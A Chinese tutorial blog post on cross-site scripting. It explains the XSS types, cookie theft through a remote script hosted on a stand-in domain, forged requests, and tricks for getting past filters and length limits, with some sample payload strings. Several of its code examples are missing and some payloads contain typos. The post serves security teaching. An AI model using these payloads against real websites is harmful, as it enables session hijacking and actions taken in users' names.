XSS

一、XSS的分类

反射形XSS:简单的把用户的输入的数据反射给浏览器,也就是诱使用户点击一个链接才能完成攻击,所以也叫非持续性XSS

一个网页

正常提交http://www.nor.com/1.php?param=测试!  

 网页显示“测试!”

当提交一段代码http://www.nor.com/1.php?param=<script>alert(/xss/)</csript>,网页显示弹窗


存储型XSS:攻击者把用户输入的数据“存储”到服务器,应用场景有,黑客可发布一篇含有恶意Js脚本的博客文章,只要用户浏览博客,都会在他们浏览器执行这段恶意代码。存储型XSS也叫持续性XSS

DOM Based XSS:实际也是反射型XSS,只不过属于特殊的反射型,所单独列出来。该方式是通过修改页面的DOM节点形成的XSS攻击,所以称之为DOM Based XSS


点击“”write“按钮后,会在当前的页面插入一个超链接,地址内容为文本框内容。


所以,当别有用心插入一段代码时,‘onclick=alert(/xss/) //,页面代码变成


以上代码先用单引号闭合href,然后插入onclick,最后//注释后面的内容


另外还可以注释掉<a>标签,攻击形式相似。

二、XSSpayload

当完成XSS攻击后,黑客就能对用户浏览的页面植入恶意脚本,通过脚本,控制用户浏览器。完成这种攻击的脚本,就叫做“XSSpayload”,实际上就是JavaScript

最常见的XSS Payload就是完成Cookie的劫持,例如加载一个远程脚本


加载链接:http://www.text.com/test.html?abc="<script crc=http://www.xspl.com.xsspayload.js></script>"(真正的payload都是写在远程脚本中,避免URL代码参数过长)

当攻击脚本执行的时候,这段代码会插入一张看不见的照片,同时吧document.cookie作为参数对象发送给远程服务器,而脚本中的www.xspl.com/log不一定要存在,当执行脚本的时候,远程服务器web中已经有日志记录。

再利用工具,就能通过cookie登录用户相关网站


当然,并不是所有cookie劫持都有用,当用户网站设定了IP与COOKie绑定,关键cookie植入httpOnly标示。

但是并不是就没有办法了,攻击者仍然有其他方式控制用户浏览器,比如构造GET和POST请求。

比如,假设某博客网站存在XSS漏洞,攻击者就可以通过一张照片发起get请求实现跨站删除博客的操作,前提是知道文章的ID


初次之外,还可以进行POST攻击。攻击者可以通过构建表单(多参数可以用dom节点)或者XMLHttpRequest的方式,发送POST请求。由此,通过JS脚本发起的POST请求模拟浏览器发包,就能完成XSS攻击。


此外,XSS的作用和攻击面还有如下几种:

1、XSS钓鱼攻击:互动型的XSS攻击,一些网站加了动态验证码来阻止XSS,那是不是就没有办法了,并不是,黑客可以构建一些表单,让用户输入当前的验证码,然后就按以上的方法进行再次的XSS。

2、识别用户浏览器:每个用户浏览器和不同版本有自身特征,黑客根据特征来识别浏览器,然后做针对性的攻击行为

3、识别用户已安装软件:识别用户浏览器信息后,可以进行软件识别,某些软件可能存在漏洞,可以用来做攻击点使用,通过问题软件实现攻击目的

三、XSS的构造技巧

利用字符编码

经典案例:baidu在一个<script>中输出一个变量,其中转义了双引号


一般来说不存在XSS,因为变量的双引号用了\转义,变量无法escape。但是baidu用的编码是GBK/GB2312,所以当‘%c1\’这两个字符串在一起后,就变成新的一个Unicode字符,frefox会认为是一个字符构造出

也就是转义字符\被吃掉了,firefox上变成下图,绕过安全检查

绕过长度检查

很多产生XSS漏洞的地方,变量都有长度限制,比如假设以下代码存在XSS漏洞

服务端对var做了长度限制,那么我们可以构造$var为


理想输出效果为

但是,当限制的字符为20个的时候

没有一个完整的函数,所以,这时候攻击者可以利用事件(Event)比如点击事件,来缩短所需字节数,将$var输出为

当加上空格就刚好20个字符,也就是

当用户点击文本框,就自动打开弹窗。显示 1

但是利用事件缩短的字符数有限,最好还是将XSSpayload,通过远程的方式来加载。

比如用“location.hash”的方式

因为loaction的第一个字符必须是#,所以必须除去第一个字符(substr(1))

构造出如下URL,所以只要点击文本框,就会弹出alert页面

此外,当可以控制两个文本框的时候,第二个文本框允许填写更多内容,可以利用HTML的注释符号,将两个文本框之间 的HTML代码打通,从而链接两个<input>标签

在第一个文本框中输入 ‘“><!--

在第二个文本框中输入--><script>alert(/xss/);</script>

最终效果就是

<!-- -->之间的代码全部被注释了,在id=1的文本框中,只用了6个字符。

此外XSS的攻击面和方式还有很多,比如Flash XSS,Anehta回旋镖等等,需要一个个认识体会各自妙用。

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,293评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,604评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,958评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,729评论 1 277
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,719评论 5 366
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,630评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,000评论 3 397
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,665评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,909评论 1 299
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,646评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,726评论 1 330
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,400评论 4 321
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,986评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,959评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,197评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 44,996评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,481评论 2 342